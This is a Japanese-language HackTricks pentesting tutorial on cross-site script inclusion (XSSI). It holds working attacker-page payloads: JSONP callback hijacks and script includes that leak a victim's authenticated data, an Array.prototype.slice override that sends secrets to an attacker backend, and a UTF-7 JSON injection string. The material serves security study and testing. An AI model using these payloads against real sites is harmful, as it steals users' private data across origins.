hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
2023-07-07 23:42:27 +00:00

10 KiB
Raw Blame History

XSSIクロスサイトスクリプトインクルージョン

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

情報はhttps://www.scip.ch/en/?labs.20160414から取得されました。

基本情報

XSSIは、scriptタグを使用してリソースをインクルードする場合、SOPが適用されないという事実を利用した脆弱性を指します。スクリプトはクロスドメインでインクルードできる必要があるため、攻撃者は**scriptタグを使用してインクルードされたすべての情報を読み取る**ことができます。

これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。

タイプ

  1. 静的なJavaScript通常のXSSI
  2. 認証された場合にのみアクセス可能な静的なJavaScript
  3. 動的なJavaScript
  4. 非JavaScript

通常のXSSI

プライベート情報は、グローバルにアクセス可能なJSファイル内にあります。ファイルを読み取ったり、キーワードを検索したり、正規表現を使用してこれを検出することができます。
これを悪意のあるコンテンツ内に含まれるプライベート情報のスクリプトとしてインクルードするだけで、これを悪用することができます。

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSIとAuthenticated-JavaScript-XSSI

ユーザーがリクエストすると、スクリプトに機密情報が追加されます。これは、リクエストをクッキーありとクッキーなしで送信することで簡単に発見できます。異なる情報が取得される場合、機密情報が含まれている可能性があります。これを自動的に行うには、burp拡張機能を使用できますhttps://github.com/luh2/DetectDynamicJS

もし情報がグローバル変数内に存在する場合、前述のケースと同じコードを使用してそれを悪用することができます。
もし機密データがJSONPレスポンス内に送信される場合、実行される関数を上書きして情報を取得することができます

<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

また、JSONPレスポンスによって実行される準備された関数を設定することもできます。

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

もし変数がグローバルな名前空間に存在しない場合、_prototype tampering_を使用してそれを悪用することができることがあります。Prototype tamperingはJavaScriptの設計を悪用しており、具体的にはコードを解釈する際にJavaScriptがプロトタイプチェーンをたどって呼び出されたプロパティを見つけるという仕組みを利用しています。以下の例は、The Unexpected Dangers of Dynamic JavaScriptという論文から抜粋されたもので、Array型の関連する関数を上書きし、thisにアクセスすることで、非グローバルな変数が漏洩する様子を示しています。

(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();

オリジナルのコードでは、Array型のsliceが私たちが興味を持っているデータにアクセスしています。攻撃者は、前述の節で説明したように、sliceを上書きして秘密情報を盗むことができます。

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

セキュリティ研究者のSebastian Lekiesは最近、ベクトルのリストを更新しました。

Non-Script-XSSI

Takeshi Teradaは、彼の論文Identifier based XSSI attacksで別の種類のXSSIを説明しています。彼は、scriptタグでソースとしてCSVファイルを含め、データを変数や関数名として使用することで、Non-Scriptファイルをクロスオリジンで漏洩させることができました。

最初に公に文書化されたXSSI攻撃は2006年に行われました。Jeremiah Grossmanのブログ記事Advanced Web Attack Techniques using GMailでは、Arrayコンストラクタをオーバーライドすることで、Googleアカウントの完全なアドレス帳を読み取ることができるXSSIが描かれています。

2007年には、Joe WalkerがJSON is not as safe as people think it isを公開しました。彼は、Array内にあるJSONを盗むために同じアイデアを使用しています。

関連する他の攻撃では、JSONにUTF-7エンコードされたコンテンツを注入してJSON形式をエスケープすることが行われました。これは、Hackvertorの作者であるGareth Heyesによって2011年に公開されたブログ記事JSON Hijackingで説明されています。クイックテストでは、これはMicrosoft Internet ExplorerとEdgeではまだ可能でしたが、Mozilla FirefoxやGoogle Chromeでは不可能でした。

UTF-7を使用したJSON:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

攻撃者のページにJSONを含める

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥